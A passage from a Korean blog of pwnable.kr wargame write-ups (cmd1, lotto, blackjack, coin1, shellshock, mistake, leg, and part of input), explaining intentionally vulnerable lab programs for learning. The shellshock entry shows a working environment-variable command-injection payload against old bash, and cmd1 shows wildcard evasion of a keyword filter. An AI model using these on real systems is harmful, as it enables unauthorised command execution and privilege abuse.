엄마! 리눅스 PATH환경이 뭐에요?? 하고 ssh연결 주소를 주니까 일단 접속해서 cmd1.c파일을 읽어보았다.

putenv함수는 환경변수를 추가해주거나 변경해주는 함수이다. c코드를 보면 main함수는 첫줄에서 PATH변수를 /thankyouverymuch라는 값으로 변경해준다. 

기존의 PATH환경변수는 이와 같이 설정되어있다. 여기서 PATH의 역할을 간단하게 설명하자면 그냥 명령어를 실행시켜주는 경로라고 생각하면 된다. 해당 경로가 변경되었으니까 일반적으로 치는 명령어는 인식하지 못하고 경로와 함께 명령어를 넘겨주면 실행될 것이다. 근데 system함수를 통해 명령어를 실행시키기 전에 filter함수를 통해 문자열 몇개를 필터링시킨다. 'flag' 'sh' 'tmp'를 필터링 시켜준다. flag라는 단어를 직접적으로 사용하지 못하므로 와일드카드를 쓰면 된다. 인자로 "/bin/cat fla*"라고 넘겨주면 flag가 읽힐 것이다.

잘 읽힌다!!

플래그는 mommy now I get what PATH environment is for :)

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

 

엄마!!!! 나 숙제로 로또 프로그램을 만들었어요!! 해볼래요?? 하고 ssh로 접속할 수 있는 주소를 준다. 한번 접속해보자.

lotto라는 바이너리가 하나 있다. c코드를 확인해보자.

main문을 먼저 확인해보면

main에서는 menu를 선택할 수 있도록 해준다. Play를 보자.

가장먼저 read로 로또 번호를 입력 받는다.

그 후에 로또 번호를 생성한다. /dev/urandom에서 6개를 읽어와서 모듈러스 연산으로 1 ~ 45의 숫자를 가지는 로또번호를 만든 다음에 아까 입력받은 번호랑 같은지 비교한다.

맞으면 system함수로 인해 flag가 읽히는 형식이다.

이 코드를 보자마자 urandom함수의 취약점에 관한 문제인가 싶었는데 그러기엔 2포인트가 너무 짠거 같아서 코드를 자세히 살펴보니까 다른 취약점을 확인할 수 있었다.

이 부분인데 코드가 조금 이상한 것을 확인할 수 있다. 반복문 속 if문이 총 36번 실행된다는 것을 볼 수 있는데 매우 이상한 것이다. lotto한바이트와 우리가 입력한 6개의 숫자 전체를 계속 비교하는 것인데, lotto의 한 바이트만 맞춰도 match6이 되어서 flag를 얻을 수 있는 것이다. 1~45의 값을 입력받으니까

이 친구를 참가해보면 45이하의 아스키 코드 중에 입력할 수 있는 것이 10진수로 33‘!’에서 45‘-‘까지 밖에 없다. 그러면 !!!!!!이렇게 집어넣어서 몇 번 반복해서 시도해보자.

오 두번만에 성공했다!!!! 플래그는 sorry mom... I FORGOT to check duplicate numbers... :(

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2019.08.10
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

Hey~!~! C로 구현된 이 블랙잭 게임을 확인해봐!! (참고문헌)

내 플래그는 억만장자한테 줄거야..! 얼마나 많은 돈을 딸 수 있을까?? (돈만 있으면 다 되는 세상…..) 그리고 nc포트가 나와있다. 이것도 아까 coin1문제랑 비슷하게 코드를 짜서 푸는 문제인 것 같다. 일단 접속을 해보자.

예쁜 화면이 나온다~!~!

1 => 게임 시작 2 => 게임 룰 3 => 게임 나가기이다.

룰부터 확인해볼까?

…. 그냥 우리가 알고 있는 흔한 블랙잭 룰이다. 게임을 시작해보자.

게임 화면이다. 현재 500달러가 있다…. 이 게임을 이기기 위해서 그냥 무작정 하면 절대 억만장자가 될 수 없을 것 같았다. 따로 바이너리가 없어서 코드짜는 것 같았는데 아닌가보다. 아까 참고문헌도 같이 첨부해줬으니까 확인해보자.

https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

여기 확인해보기!!

이거 비슷한 문제를 풀었던 것 같은데 딜러가 가지고 있는 수가 아마 rand함수로 정해질 것이고 이를 예측해서 배팅을 하면 될 것이다. 그러면 그 부분을 확인해보자.

randcard()함수가 있다. 여기부터 볼까?

int randcard() //Generates random card
{
      
                
     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;
      
     if(random_card==1)
     {   
         clubcard();
         l=k;
     }
      
     if(random_card==2)
     {
         diamondcard();
         l=k;
     }
      
     if(random_card==3)
     {
         heartcard();
         l=k;
     }
          
     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function   

내가 가진 카드는 seedtimerand함수로 정해진다.

그리고 다른 함수를 쭉 보다가 betting함수를 봤더니….

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

이렇게 되어있다매우 취약한 것을 볼 수 있다. 1pt밖에 안되는 이유가 있었다.. 100m밖에서도 보이듯이 처음에 현재 잔고보다 더 많이 배팅하게 되면 if문에 걸리게 되는데 다시 배팅할 때에도 현재 금액보다 많이 배팅하는 것에 대한 필터링이 없다..!!! 이건 뭐 코드 짤 필요도 없겠는데..? 그냥 어마무시하게 많은 금액을 배팅하고 몇 번 하다가 얻어걸리면 풀릴 것 같다

이렇게 몇 번 게임해주면

바로 플래그가 나온다어렵게 생각할 필요가 전혀 없는 엄청나게 매우 쉬운 문제였다

플래그는 YaY_I_AM_A_MILLIONARE_LOL

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2019.08.10
[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

엄마!! 저는 게임을 하고싶어요!(만약 네트워크 응답이 너무 길면  0 9007로 접속)

게임을 하고싶다는 문제가 나와있고 nc로 접속할 수 있는 포트가 하나 주어진다. 접속해보자.

 

…. 일단 해석을 해볼까?

나한테 몇 개의 금화가 주어진다고 한다. 근데 여기에는 위조 금화가 있다고 한다!! 가짜 금화랑 진짜는 겉으로 보기에는 똑같이 생겼지만 무게가 다르다. 진짜 금화는 무게가 10이고 가짜 금화는 9이다. 그니까 가짜 금화 100개를 찾으면 된다!! (시간은 60초 주어진다.)

 

<게임 방법>

1.     N개의 금화와 C번의 기회가 주어진다.

2.     무게를 잴 금화 더미(인덱스)를 선택한다.

3.     무게를 알아낼 수 있다.

4.     2~3번의 C번을 반복하고 답을 말하면 된다!

 

위에 게임 예시도 나와있다.

바이너리가 따로 안 주어진 것으로 보아하니까 진짜로 그냥 푸는 문제인 것 같다. 걍 코딩문제네…. 이 문제를 풀기 위해서 얼마 전 자료구조론 시간에 배운 binary search를 사용해보자!!!!

(https://dongdd.tistory.com/145 이분을 참고하였다!)

 

1.     배열의 처음을 low, 배열의 끝을 high로 설정하고 (low + high) / 2mid를 설정한다.

2.     Low mid값을 서버에 보내서 얻은 무게 값을 mod 10의 값이 0인지 9인지를 확인한다.

3.     mod값이 0이면 범위 내에 가짜 금화가 없다는 뜻이므로 lowmid + 1(가짜 금화가 배열의 끝에 있을 때도 고려)로 설정하고 mod값이 9이면 범위 내에 가짜 금화가 있다는 뜻이므로 highmid로 설정하고 위 과정을 반복한다.

 

이렇게 해서 스크립트를 짜보자.

 

#!usr/bin/python

from pwn import *

context.log_level='debug'

p = remote("pwnable.kr", 9007)

p.recv()

for i in range(100):
	p.recvuntil("N=")
	n = int(p.recvuntil(" "))
	print(n)

	p.recvuntil("C=")
	c = int(p.recvuntil("\n"))
	print(c)

	count = 0
	low = 0
	high = n

	while count != c:
		count = count + 1
		mid = (low + high) / 2
		s = ' '
		for i in range(low, mid):
			s += str(i)
			s += ' '
		s += str(mid)
		p.sendline(s)
		weight = int(p.recv())

		if weight % 10 == 0:
			low = mid + 1
		else:
			high = mid

	mid = (low + high) / 2
	p.sendline(str(mid))
	p.recv()

p.recv()

이렇게 해주면 성공한다! 근데.... 자꾸 타임아웃이 걸린다.

아까 문제에서 설명해줬던 것처럼 sshpwnable.kr 접속해서 서버 내부에서 스크립트를 실행시켜보자.

ssh fd@pwnable.kr -p2222 (pw:guest) 여기에 접속하자.

 

엄청 빠르게 성공하긴 했는데….플래그가 따로 안 나온다….. 뭘 더 받아야 하는건가…?

p.recv()를 마지막에 써줘서 한번 더 받아보자.

 

성공!!!! 플래그는 b1NaRy_S34rch1nG_1s_3asy_p3asy

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20


엄마! bash에 대한 충격적인 소식이 있어!! 이미 알고있을거라고 장담하지만 그냥 확실히 하자ㅎㅎ:) 오..뭔지는 모르겠지만 나도 알고있는 거면 좋겠다... 하지만 난 bash에 대해서 아는게 없으니까... 아마 모르고있겠지... 일단 저 서버에 접속해보자..!



shellshock파일 이외에 bash라는 파일도 있는게 눈에 띄인다.


일단 shellshock.c파일을 확인해보자.


1
2
3
4
5
6
7
8
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}
 
cs


음 일단 코드길이는 매우 짧다. 그래도 한줄씩 분석해보자.


첫줄의 setresuid함수는 인자로 들어간 3개의 값으로 프로세스의 real UID, effective UID, saved set-user-ID를 각각 바꾸어주는 함수이다.

인자로 들어간 함수중에서 getegid()함수는 호출프로세스의 유효 그룹 ID를 반환하는 함수이다.


두번째 줄의 setresgid는 인자로 들어간 3개의 값으로 프로세스의 real GID, effective GID, saved set-group-ID를 각각 바꾸어주는 함수이다.


여기까지 해도 잘 모르겠으니까 구글에 shellshock를 검색해보니까 바로 연관검색어로 shellshock취약점 shellshock bash등 많이 나와서 bash취약점에 대해 공부해봤다.


요약해서 말하자면 shellshock취약점은 bash shell에서 임의의 환경변수에 특정 코드를 삽입하여서 실행할 수 있는 취약점이다. 이 취약점은 bash버전 4.3이하에서 발생하는 취약점이라고 한다.


리눅스상에서는

func() {echo hello;}

이런식으로 함수를 정의할 수 있다.

그 후에 -f 옵션을 통해서 합수를 등록해준다. 그 후에 그 환경변수를 호출하면 아래와 같이 함수가 실행된다.



이를 이용해서 shellshock취약점이 일어나게 되는데

bash 환경 변수에 함수처럼 보이는 변수를 정의한다. 

export x = '() { echo hello~; }'

이런식으로 함수 문법으로 시작되는 문자열을 적어 넣는다.



이런식으로 환경변수 값을 보면 문자열 형태로 들어가 있는 것을 알 수 있다.


그런데 bash subshell을 열면 bash가 시작되면서 등록된 환경변수를 다시 읽어오게 된다. 그렇게 되면 함수인척 하고 문자열로 저장된 환경변수가 진짜 함수로 정의되게 된다. 


여기까지만 보면 아무 문제가 없는 것 같지만 변수를 정의할때 뒤에 명령어도 실행시킬 수가 있기 때문에 취약점이 발생한다.

export x = '() { echo hello~; };pwd;id'

와 같이 변수를 정의하면 bash가 실행되면서 환경변수가 함수로 정의되고 뒤에 있는 명령어까지 실행되게 된다.


이제 플래그를 읽어와보자.

bash의 버전부터 확인해보면 



당연하게도 4.2.25버전으로 패치되기 전 버전인 것을 확인할 수 있었다.


아까 봤던 코드를 생각해보면 setresuid와 setreguid함수를 통해 권한을 상승시키고 그 상태에서 bash shell을 실행시켜주는 코드라는 것을 알 수 있다. 

그러면


export pay='() { echo hello!; }; /bin/cat flag'


로 변수를 정의시켜주고 shellshock를 실행시키면 바로 flag를 읽어올 것이다!! 해보자~!~!



성공이다!!~!


'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18


 우리는 모두 실수를 한다. 화려한 해킹기술은 전혀 필요없으니까 심각하게 여기지 말라고 한다. 그리고 아래 나와있는 힌트를 보면 연산자 우선순위라고 나와있다.


일단 xshell을 통해 접속해보자.



이렇게 나와있다. mistake에는 setuid가 걸려있고 mistake.c파일을 확인해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>
 
#define PW_LEN 10
#define XORKEY 1
 
void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}
 
int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400< 0){
        printf("can't open password %d\n", fd);
        return 0;
    }
 
    printf("do not bruteforce...\n");
    sleep(time(0)%20);
 
    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }
 
    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);
 
    // xor your input
    xor(pw_buf2, 10);
 
    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
 
    close(fd);
    return 0;
}
 
cs


소스코드를 확인했고 이제 연산자 우선순위를 위주로 코드를 분석해보자.


전체적인 코드를 먼저 확인해보면 open함수로 패스워드 파일을 열어서 저장한 다음에 입력받은 값을 xor함수에 넣고 결과값과 패스워드를 비교해서 같으면 플래그가 읽히는 형식이다. 이 코드의 취약점은 바로 찾을 수 있었다. 먼저 아래코드를 보자.


1
2
3
4
 if(fd=open("/home/mistake/password",O_RDONLY,0400< 0){
        printf("can't open password %d\n", fd);
        return 0;
    }
cs



if조건문에 괄호가 하나 빠진 것을 확인 할 수 있다. 비교연산자 < 가 산술연산자 = 보다 우선순위가 높기 때문에 open함수의 리턴값을 fd에 저장하고 이것이 0보다 작은지 비교하려는 원래의 의도에서 벗어나 open함수의 리턴값이 0보다 작은지 비교하고 이 결과가 fd값에 들어가는 것이다.


아래 코드 또한 위 코드와 비슷하다.


1
2
3
4
5
  if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }
cs


이 코드또한 괄호 하나가 빠져서 read함수의 리턴값이 0보다 큰지 비교하고 이 결과값이 len에 들어가게 된다.


여기서 아까 전에 봤던 fd가 들어간 if문을 생각해보자. open함수에서 파일이 정상적으로 열렸으므로 open함수는 파일디스크립터 번호인 음이 아닌 정수를 리턴하게 된다. 그러면 open("/home/mistake/password", O_RDONLY, 0400) < 0이 거짓이고 fd는 0이 된다.


fd가 0이므로 read(0, pw_buf, PW_LEN)이 실행되었을 때 pw_buf에 우리가 원하는 값을 넣을 수 있게 된다!


pw_buf와 pw_buf2모두 우리가 우너하는대로 값 설정이 가능하니까 플래그 얻기는 식은죽먹기다~!~!


scanf("%10s", pw_buf2); 를 통해 pw_buf2에 1111111111을 넣고 xor함수에서 각 배열의 값을 1과 xor시키니까 pw_buf를 0000000000으로 세팅하면 플래그가 얻어질 것이다! 직접 해보자~!



성공이다!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15


 아빠는 나에게 arm을 공부하라고 했는데 난 leg가 더 좋아~!~! 라는 문제이다.... 뭐 어쩌라는건지는 잘 모르겠지만 일단 leg.c와 leg.asm을 다운받아봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx    r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d"&key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
cs

<leg.c>

(gdb) disass main

Dump of assembler code for function main:

   0x00008d3c <+0>: push {r4, r11, lr}

   0x00008d40 <+4>: add r11, sp, #8

   0x00008d44 <+8>: sub sp, sp, #12

   0x00008d48 <+12>: mov r3, #0

   0x00008d4c <+16>: str r3, [r11, #-16]

   0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>

   0x00008d54 <+24>: bl 0xfb6c <printf>

   0x00008d58 <+28>: sub r3, r11, #16

   0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>

   0x00008d60 <+36>: mov r1, r3

   0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>

   0x00008d68 <+44>: bl 0x8cd4 <key1>

   0x00008d6c <+48>: mov r4, r0

   0x00008d70 <+52>: bl 0x8cf0 <key2>

   0x00008d74 <+56>: mov r3, r0

   0x00008d78 <+60>: add r4, r4, r3

   0x00008d7c <+64>: bl 0x8d20 <key3>

   0x00008d80 <+68>: mov r3, r0

   0x00008d84 <+72>: add r2, r4, r3

   0x00008d88 <+76>: ldr r3, [r11, #-16]

   0x00008d8c <+80>: cmp r2, r3

   0x00008d90 <+84>: bne 0x8da8 <main+108>

   0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>

   0x00008d98 <+92>: bl 0x1050c <puts>

   0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>

   0x00008da0 <+100>: bl 0xf89c <system>

   0x00008da4 <+104>: b 0x8db0 <main+116>

   0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>

   0x00008dac <+112>: bl 0x1050c <puts>

   0x00008db0 <+116>: mov r3, #0

   0x00008db4 <+120>: mov r0, r3

   0x00008db8 <+124>: sub sp, r11, #8

   0x00008dbc <+128>: pop {r4, r11, pc}

   0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9

   0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9

   0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0

   0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc

   0x00008dd0 <+148>: andeq r10, r6, r4, asr #9

End of assembler dump.

(gdb) disass key1

Dump of assembler code for function key1:

   0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cd8 <+4>: add r11, sp, #0

   0x00008cdc <+8>: mov r3, pc

   0x00008ce0 <+12>: mov r0, r3

   0x00008ce4 <+16>: sub sp, r11, #0

   0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008cec <+24>: bx lr

End of assembler dump.

(gdb) disass key2

Dump of assembler code for function key2:

   0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cf4 <+4>: add r11, sp, #0

   0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)

   0x00008cfc <+12>: add r6, pc, #1

   0x00008d00 <+16>: bx r6

   0x00008d04 <+20>: mov r3, pc

   0x00008d06 <+22>: adds r3, #4

   0x00008d08 <+24>: push {r3}

   0x00008d0a <+26>: pop {pc}

   0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)

   0x00008d10 <+32>: mov r0, r3

   0x00008d14 <+36>: sub sp, r11, #0

   0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d1c <+44>: bx lr

End of assembler dump.

(gdb) disass key3

Dump of assembler code for function key3:

   0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008d24 <+4>: add r11, sp, #0

   0x00008d28 <+8>: mov r3, lr

   0x00008d2c <+12>: mov r0, r3

   0x00008d30 <+16>: sub sp, r11, #0

   0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d38 <+24>: bx lr

End of assembler dump.

(gdb)

<leg.asm>


어셈블리 코드를 보니까 그동안 봤던 intel문법이 아닌 조금 생소한 문법이였다. 이게 ARM어셈블리어라고 한다. 그래서 문제에서 arm leg라는 말장난을 친 듯 하다..


일단 c코드 먼저 확인해보자.

key1, key2, key3은 어셈블리어로 되어있으니까 넘기고 main부분을 살펴보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d"&key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
 
cs


key에다가 정수를 입력받고 key1()+key2()+key3()한 것이 key와 같으면 플래그가 나오는 형식이다.

그리고 main의 arm어셈블리어를 확인해보면


(gdb) disass main

Dump of assembler code for function main:

   0x00008d3c <+0>: push {r4, r11, lr}

   0x00008d40 <+4>: add r11, sp, #8

   0x00008d44 <+8>: sub sp, sp, #12

   0x00008d48 <+12>: mov r3, #0

   0x00008d4c <+16>: str r3, [r11, #-16]

   0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>

   0x00008d54 <+24>: bl 0xfb6c <printf>

   0x00008d58 <+28>: sub r3, r11, #16

   0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>

   0x00008d60 <+36>: mov r1, r3

   0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>

   0x00008d68 <+44>: bl 0x8cd4 <key1>

   0x00008d6c <+48>: mov r4, r0

   0x00008d70 <+52>: bl 0x8cf0 <key2>

   0x00008d74 <+56>: mov r3, r0

   0x00008d78 <+60>: add r4, r4, r3

   0x00008d7c <+64>: bl 0x8d20 <key3>

   0x00008d80 <+68>: mov r3, r0

   0x00008d84 <+72>: add r2, r4, r3

   0x00008d88 <+76>: ldr r3, [r11, #-16]

   0x00008d8c <+80>: cmp r2, r3


이런식으로 되어있는데 main<+44>부분쯤에 key1 key2 key3을 호출하는 부분을 보면 세 함수 모두 반환값이 r0에 저장되는 것으로 보인다.


이제 key1부터 분석을 해보자. key1의 어셈블리어를 확인해보면


(gdb) disass key1

Dump of assembler code for function key1:

   0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cd8 <+4>: add r11, sp, #0

   0x00008cdc <+8>: mov r3, pc

   0x00008ce0 <+12>: mov r0, r3

   0x00008ce4 <+16>: sub sp, r11, #0

   0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008cec <+24>: bx lr

End of assembler dump.


pc값을 r3에 넣고 그걸 다시 r0에 넣어준다. arm어셈블리어에서 pc란 program counter로 eip와 같은 역할을 한다고 생각하면 된다. 대신 pc레지스터는 현재 실행되는 명령어가 담겨있는 eip와는 달리 다음 실행될 명령어의 주소가 담겨있다고 한다.

그러면 다음명령어가 담겨있는 주소인 8ce0이 key1의 값이 된다.

key1 = 0x8ce0


key2도 확인해보자


(gdb) disass key2

Dump of assembler code for function key2:

   0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cf4 <+4>: add r11, sp, #0

   0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)

   0x00008cfc <+12>: add r6, pc, #1

   0x00008d00 <+16>: bx r6

   0x00008d04 <+20>: mov r3, pc

   0x00008d06 <+22>: adds r3, #4

   0x00008d08 <+24>: push {r3}

   0x00008d0a <+26>: pop {pc}

   0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)

   0x00008d10 <+32>: mov r0, r3

   0x00008d14 <+36>: sub sp, r11, #0

   0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d1c <+44>: bx lr

End of assembler dump.


pc값을 r3에 넣고 4를 더한다음에 r3값을 r0에 넣어준다. 여기서의 pc값은 key2+20다음인 8d06일테니 key2값은 8d06+4인 8d0a이다.

key2 = 0x8d0a


마지막 key3을 보자.

(gdb) disass key3

Dump of assembler code for function key3:

   0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008d24 <+4>: add r11, sp, #0

   0x00008d28 <+8>: mov r3, lr

   0x00008d2c <+12>: mov r0, r3

   0x00008d30 <+16>: sub sp, r11, #0

   0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d38 <+24>: bx lr

End of assembler dump.


새로운 레지스터인 lr이 보인다. r3에다가 lr의 값을 집어넣고 다시 r0에다가 넣어준다.

lr은 주소를 점프했을 때 다시 돌아와서 실행할 주소를 가르킨다. 간단히 리턴할 주소를 보관하는 레지스터라고 생각하면 될 것 같다. 

main함수의 어셈블리를 확인하면 key3이 호출되고 돌아간 주소를 확인할 수 있다. main+68로 돌아가니까 key3의 값은 8d80이다.

key3 = 0x8d80


이 key값들을 전부 더해주면 0x8ce0 + 0x8d0a + 0x8d80 = 0x1a76a = 108394이다.




아니라고한다...


http://recipes.egloos.com/4982170


이 블로그에서 본 바로는 arm은 명령을 실행할 때

1. fetch

2. decode

3. execute

4. write

와 같은 단계로 이루어져 있는데 pc는 여기서 fetch단계를 거치고 있는 명령어의 주소를 저장하고 있다.

만약 어떤 명령어가 3단계인 실행단계에 있다면 다음 명령어는 2단계인 decode단계에 있고 그 다음명령어가 fetch단계에 존재하는 것이다.


그러므로 key1과 key2의 값들의 pc값을 각각 수정해주면 key1의 pc값은 0x8ce4고 key2의 pc값은 0x8d0c가 된다.

그렇게 하면 key = 108400


플래그가 나왔다~

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13



엄마~!~!어떻게 하면 프로그램에 내 입력이 통과할 수 있는거야? 라고 물어본다. 살짝 리버싱문제 같은 느낌도 든다. 일단 접속해보자.



input파일을 실행해 보자.



인자를 직접 전달해 줘야 하는 것 같다. input.c파일을 읽어보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");
 
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    // file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    
 
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");    
    return 0;
}
 
cs


이렇게 꽤 긴 코드가 있다.

처음부터 차례대로 분석해보자.


1
2
3
4
5
// argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
cs


1단계는 argv에 관한 코드이다. 


argc와 argv는 main함수의 인수인데 argc에는 인자의 개수가 저장되고 argv에는 인자가 각각 들어있다.

그리고 여기서 argv의 첫 번째 배열에는 실행 명령어가 들어가있다.


예를들어서 ./input a b와 같이 인자를 전달해준다면

argc에는 3이 들어가고 argv[0]에 ./input, argv[1]에 a, argv[2]에 b가 들어가게 되는 것이다.


